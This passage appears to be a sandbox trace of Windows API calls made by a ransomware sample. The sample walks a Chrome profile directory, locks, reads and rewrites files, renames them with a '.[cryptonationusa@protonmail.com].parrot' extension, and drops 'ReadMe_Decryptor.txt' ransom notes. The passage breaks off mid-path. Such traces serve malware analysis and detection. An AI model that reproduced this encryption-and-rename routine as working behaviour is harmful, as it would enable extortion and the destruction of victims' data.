SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0048.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.037] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5da390 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cabe0 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da390 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5cad28 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5caf10 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cad28 | out: hHeap=0x5b0000) returned 1 [0048.038] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x2240060 [0048.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5caf10 | out: hHeap=0x5b0000) returned 1 [0048.038] WriteFile (in: hFile=0x270, lpBuffer=0x2240060*, nNumberOfBytesToWrite=0x2f8, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2240060*, lpNumberOfBytesWritten=0x18e8f4*=0x2f8, lpOverlapped=0x0) returned 1 [0048.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240060 | out: hHeap=0x5b0000) returned 1 [0048.039] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.039] CloseHandle (hObject=0x270) returned 1 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d3940 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5da390 [0048.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3940 | out: hHeap=0x5b0000) returned 1 [0048.040] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da390 | out: hHeap=0x5b0000) returned 1 [0048.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0048.040] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9fd8 | out: hHeap=0x5b0000) returned 1 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0048.040] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0048.041] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0048.041] GetFileType (hFile=0x270) returned 0x1 [0048.041] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0048.052] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23e, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.052] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.052] ReadFile (in: hFile=0x270, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0048.053] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.053] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x126, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x126, lpOverlapped=0x0) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0048.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0048.053] GetLastError () returned 0x0 [0048.053] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0048.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0048.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.053] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0048.053] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5cabe0 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5cae70 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0048.054] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x248) returned 0x5cafb8 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cae70 | out: hHeap=0x5b0000) returned 1 [0048.054] WriteFile (in: hFile=0x270, lpBuffer=0x5cafb8*, nNumberOfBytesToWrite=0x248, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesWritten=0x18e8f4*=0x248, lpOverlapped=0x0) returned 1 [0048.054] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x5b0000) returned 1 [0048.054] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.054] CloseHandle (hObject=0x270) returned 1 [0048.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cabe0 [0048.055] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5cae70 [0048.055] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0048.055] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current tabs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0048.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cae70 | out: hHeap=0x5b0000) returned 1 [0048.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cace8 | out: hHeap=0x5b0000) returned 1 [0048.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0048.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0048.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8788 [0048.211] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0048.212] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0048.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0048.252] GetFileType (hFile=0x270) returned 0x1 [0048.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0048.262] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0048.314] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0048.314] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.314] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0048.314] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0048.314] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0048.314] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x804795c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1 [0048.314] lstrcmpW (lpString1="CURRENT", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0048.316] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x10 [0048.316] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.316] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0048.316] CloseHandle (hObject=0x278) returned 1 [0048.316] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0048.316] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9ab9e110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0048.316] lstrcmpW (lpString1="LOG", lpString2="ReadMe_Decryptor.txt") returned -1 [0048.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0048.316] GetFileSize (in: hFile=0x278, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0xa7 [0048.316] LockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bf, nNumberOfBytesToLockHigh=0x0) returned 1 [0048.316] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0048.316] ReadFile (in: hFile=0x278, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0048.317] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.317] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa7, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0xa7, lpOverlapped=0x0) returned 1 [0048.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0048.317] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0048.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0048.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0048.318] GetLastError () returned 0x0 [0048.318] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d38b0 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0048.318] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c8) returned 0x5caf80 [0048.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0048.319] WriteFile (in: hFile=0x278, lpBuffer=0x5caf80*, nNumberOfBytesToWrite=0x1c8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5caf80*, lpNumberOfBytesWritten=0x18e604*=0x1c8, lpOverlapped=0x0) returned 1 [0048.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5caf80 | out: hHeap=0x5b0000) returned 1 [0048.319] UnlockFile (hFile=0x278, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0048.319] CloseHandle (hObject=0x278) returned 1 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d38b0 [0048.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14e) returned 0x5caf80 [0048.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0048.320] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 